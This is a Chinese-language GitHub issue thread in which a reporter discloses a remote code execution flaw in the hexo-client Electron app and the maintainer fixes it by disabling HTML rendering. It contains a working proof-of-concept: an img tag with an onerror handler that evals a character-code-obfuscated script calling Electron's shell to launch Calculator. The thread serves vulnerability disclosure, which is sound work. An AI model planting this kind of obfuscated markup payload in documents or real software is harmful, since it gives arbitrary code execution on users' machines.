gaoyoubo / hexo-client

hexo-client: A cross-platform hexo client, build on electron.
https://www.mspring.org/tags/HexoClient/
Apache License 2.0
731 stars 78 forks source link

一处RCE(任意代码执行)漏洞 #35

Closed imagemlt closed 5 years ago

imagemlt commented 5 years ago

测试使用的markdown文件内容如下:

<img src="" onerror=eval(String.fromCharCode(99,111,110,115,116,32,123,115,104,101,108,108,125,32,61,32,114,101,113,117,105,114,101,40,39,101,108,101,99,116,114,111,110,39,41,59,115,104,101,108,108,46,111,112,101,110,69,120,116,101,114,110,97,108,40,39,102,105,108,101,58,47,47,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,39,41,59))>

只要打开这个文档便可以弹出计算器。 2019-02-24 7 33 37

你懂得,能弹计算器就意味着什么都可以做了。 修复建议:禁用编辑器JS;设置nodeIntegration

gaoyoubo commented 5 years ago

@imagemlt 感谢反馈,但是我们的内容都是基于markdown的,请问下图片的onerror这个属性是如何加上去的呢 ?

imagemlt commented 5 years ago

@gaoyoubo markdown文件的内容也可以用html,所以这里只是直接用html写的markdown文件,如果不小心导入了恶意的markdown文件就会导致代码执行

imagemlt commented 5 years ago

@gaoyoubo 可以参考最近爆出的一个typora的RCE漏洞 https://www.anquanke.com/post/id/170665

gaoyoubo commented 5 years ago

@gaoyoubo 可以参考最近爆出的一个typora的RCE漏洞 https://www.anquanke.com/post/id/170665

感谢,明白问题所在了。

gaoyoubo commented 5 years ago

我直接禁用了html渲染,因为使用的是第三方开源的markdown编辑器,受限于第三方无法做更多的修改。